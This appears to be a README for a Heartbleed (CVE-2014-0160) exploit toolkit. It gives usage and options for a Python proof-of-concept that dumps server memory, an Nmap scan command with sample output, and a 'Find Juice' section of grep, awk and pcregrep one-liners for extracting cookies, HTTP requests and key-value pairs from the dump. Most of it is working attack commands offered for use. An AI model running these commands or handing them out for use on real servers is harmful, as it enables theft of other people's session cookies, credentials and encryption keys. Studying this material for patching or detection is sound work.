HeartBleed Exploit

Tool Guide

  • If you want to mass scan, the NMAP script is currently your best bet.
  • For the largest number of protocols supports (STARTTLS) check the modified Metasploit script
  • If you want to actually exploit, use the python script (mods required for STARTTLS on non-smtp)

Usage: heartbleed-poc.py server [options]

Test for SSL heartbeat vulnerability (CVE-2014-0160)

Options: -h, --help show this help message and exit -p PORT, --port=PORT TCP port to test (default: 443) -n NUM, --num=NUM Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1) -f FILE, --file=FILE Filename to write dumped memory too (default: dump.bin) -q, --quiet Do not display the memory dump -s, --starttls Check STARTTLS (smtp only right now)

Examples

  • Normal scan, will hit port 443, with 1 iteration: python heartbleed-poc.py example.com

  • Dump memory scan, will make 100 request and put the output in the binary file dump.bin: python heartbleed-poc.py -n100 -f dump.bin example.com

The make sure you get different parts of the HEAP, make sure the server is busy, or you end up with repeat repeat.

  • Check a mail server with STARTTLS (i.e. port 25): python heartbleed-poc.py -s -p 25 example.com

  • There used to be a -v switch to make the TLS version explicit, this is auto-detected now and has been removed

Find Juice

The binary file will have juicy output in it, here are some simple ways of finding the goods:

  • HTTP request: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin

  • Cookies: grep -a "^Cookie:" dump.bin

  • Interesting Key Value Pairs: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin

NMAP NSE Script

Usage: nmap --script=ssl-heartbleed -p 443

Example Output:

Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST Nmap scan report for <example.org> (1.2.3.4) Host is up (0.0068s latency). PORT STATE SERVICE 443/tcp open https | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | Description: | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. |
